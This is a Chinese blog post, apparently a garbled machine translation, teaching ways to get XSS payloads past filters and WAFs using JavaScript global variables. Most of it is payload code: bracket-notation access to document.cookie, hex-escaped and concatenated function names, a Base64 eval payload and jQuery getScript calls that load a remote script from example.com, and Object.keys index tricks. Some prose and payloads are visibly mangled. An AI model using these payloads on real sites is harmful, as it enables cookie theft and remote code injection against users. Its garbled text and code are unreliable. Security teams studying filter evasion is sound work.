使用JavaScript全局变量绕过XSS过滤[bypass XSS]

使用JavaScript全局变量绕过XSS过滤[bypass XSS]

虽然你的攻击目标看起来似乎很容易通过XSS攻击来拿下,但当你尝试了所有的利用方式都被过滤器、输入验证或WAF规则所过滤时,怎么办呢? 让我们探索如何使用JavaScript全局变量绕过XSS过滤.

在本文中,当目标网站存在XSS过滤器或防火墙时,我们在这里一起来探索一下有多少种可能性利用反射型(甚至存储型)XSS。 最有效的方法之一是使用一个全局变量例如 self, document, this, top 或 window .

在这篇文章中,我将在 PortSwigger网络安全学院实验室  测试所有载荷 ,你也可以 通过使用你的浏览器的JavaScript控制台测试payloads。

前言: JavaScript全局变量是什么?

javascript全局变量在函数外部声明或用window对象声明。它可以从任何功能进行访问。
JavaScript参考地址如下:
https://www.javatpoint.com/javascript-global-variable

先试试下面正常的PHP脚本:

echo "<script>
    var message = 'Hello ".$_GET["name"]."';
    alert(message);
</script>";

正如您可以看到的, name 参数是脆弱的。 但在这个例子中,假设web应用程序有一个过滤器 使用一个正则表达式 /document[^.].[^.]cookie/ ,防止任何用户使用”document.cookie”字符串输入,那这个代码就GG. 让我们看看以下payloads:

payloads(攻击载荷) 描述 结果
document.cookie正常输入方式阻止
document%20.%20cookie添加编码空字符阻止
document/*foo*/./*bar*/cookie添加注释阻止

在这种情况下,JavaScript全局变量可以用来绕过它。 我们有许多方法来访问 document.cookie 。 从 window 或 self 对象。 例如,类似 window[“document”][“cookie”]不会被防火墙过滤:

payloads(攻击载荷) 描述 结果
window["document"]["cookie"]全局变量通过
window["alert"](window["document"]["cookie"]);调用 alert() 从 window 通过
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"]);添加注释 通过

可以看到从上面的例子中,你甚至可以访问任何JavaScript函数的语法 self”alert”; 它等于 alert(“www.ddosi.org”);。 这种语法给你许多方法绕过很多一般的过滤器。 显然,您可以使用注释几乎无处不在:

(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("www.ddosi.org")

关于 “self” 的对象

Window.self 只读属性返回窗口本身,作为一个 WindowProxy 。 它可以使用点符号上 window 对象(即 window.self )或独立( self )。 独立的符号的优势是,类似的符号存在non-window上下文,如 Web Workers 。 通过使用 self ,您可以参考全球范围的方式不仅工作在一个窗口上下文( 将会把self 解析成 window.self ),而且在一个工人上下文( 将会把self 解析成 WorkerGlobalScope.self )。
详情 https://developer.mozilla.org/en-US/docs/Web/API/Window/self

你可以从下面的这些对象感受到 JavaScript  的功能:

  • window
  • self
  • _self
  • this
  • top
  • parent
  • frames

1:十六进制转义编码进行连接

最常见的一种绕过WAF规则技术,是使用字符串连接时是可能的。 这可以对远端设备进行控制,在不同的活动中甚至SQLi也为JavaScript。

有很多WAF使用过滤器基于JavaScript函数名称的列表。 这些过滤器块请求包含字符串例如 alert () 或 String.fromCharCode() . 由于全局变量,它们可以轻易绕过使用字符串连接或十六进制转义序列。 例如:

/*
** alert(document.cookie);
*/

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

一个更复杂的语法来躲避过滤器是用十六进制转义序列替换字符串。 任何低于字符代码 256 的字符都可以使用十六进制表示,逃脱的 \x 转义序列:

> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!

显然,替换”alert”, “document” and “cookie”用他们的十六进制字符串表示,可以调用任何函数的全局变量 如下所示:

/*
** alert(document.cookie)
*/

self["\x61\x6c\x65\x72\x74"](
    self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
        ["\x63\x6f\x6f\x6b\x69\x65"]
)
self["\x61\x6c\x65\x72\x74"]("Hacked By 雨苁")

2. Eval和Base64编码的字符串

最麻烦的事情时:如果WAF过滤输入,动态地创建(添加),一个脚本元素调用一个远程JavaScript文件(类似 <script src=”http://example.com/evil.js” … )。 即使有弱过滤器,这是不容易做到,因为有很多”特征” 例如 <script, src=, http:// 等等。
Base64和 eval () 可以帮助我们,特别是如果我们能避免把“eval”字符串作为用户的输入。 看看下面的例子:

self["\x65\x76\x61\x6c"](
  self["\x61\x74\x6f\x62"](
    "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
    c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
    HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
    QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
    oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
    aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
    y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
    5kQ2hpbGQoc2NyaXB0KTs="
  )
)

如图所示之前我使用”eval” 的十六进制表示self[“\x65\x76\x61\x6c”] 和“atob”为Base64解码字符串 self[“\x61\x74\x6f\x62”]. 在Base64字符串,有下面的脚本:

// select head tag
var head = document.getElementsByTagName('head').item(0); 

// create an empty <script> element
var script = document.createElement('script');

// set the script element type attribute
script.setAttribute('type', 'text/javascript');

// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');

// append it to the head element
head.appendChild(script);

3. jQuery

正如前面提到的,JavaScript给你很多方面躲避过滤器, 这句话更适用于现代网站使用jQuery库等 。 假设你不能使用 self[“eval”] 和它的十六进制表示,你可以借助jQuery,例如 self[“$”][“globalEval”]:

payload(攻击载荷)结果
self["$"]["globalEval"]("alert(1)");通过
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");
通过

你甚至可以轻松添加一个本地或远程脚本 self[“$”]”getScript”.
getScript 能加载JavaScript文件从服务器使用一个HTTP请求,然后执行它 。 在全局上下文中执行脚本,所以它可以引用其他变量和使用jQuery函数。

payload(攻击载荷) 结果
self["$"]["getScript"]("https://example.com/my.js");pass

4. Iteration and Object.keys

Object.keys() 方法返回一个给定对象的属性数组 names, 在相同的顺序,我们得到了与正常循环。

意味着我们可以使用它来访问任何JavaScript函数索引号而不是函数名。 例如,打开你的浏览器的web控制台和类型:

这使您的索引号里面的“提醒”功能  self 对象。 每个浏览器上是不同的数量和每个开放文档(在我的示例 ),但它可以让你能够调用任何函数不使用它的名称。 例如:

> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("QQ569743") // alert("QQ569743")

为了迭代所有功能在里面  self  您可以遍历  self  对象和检查如果元素是一个函数使用 typeof elm === “function”

f=""
for(i in self) {
    if(typeof self[i] === "function") {
        f += i+", "
    } 
};
console.log(f)
迭代自内的所有功能

正如前面提到的,这个数字可以改变在不同的浏览器和文档, 我们如何找到”alert”指数,如果”alert”字符串是不允许的吗 以上方法可以使用? JavaScript给你很多机会。 我们可以做的一件事是分配给一个变量( a )函数迭代 self 并找到 alert 索引号。 然后,我们可以使用 test() 寻找”alert”与一个正则表达式 ^a[rel]+t$:

a = function() {
    c=0; // index counter
    for(i in self) {
        if(/^a[rel]+t$/.test(i)) {
            return c;
        }
        c++;
    }
}

// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}

// then you can use a() with Object.keys
// alert("foo")

self[Object.keys(self)[a()]]("hack_anonymous_Metasploit")

结论

净化和验证两个术语常常混淆的不仅通过初级开发人员。 验证方法验证数据提交符合一个规则或一组规则,开发人员设置一个特定的输入字段。 显然,一个好的验证用户输入的web应用程序是一个重要的事情要做。 当它是不可能的,加一个Web应用程序防火墙可能是一个不错的选择。

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注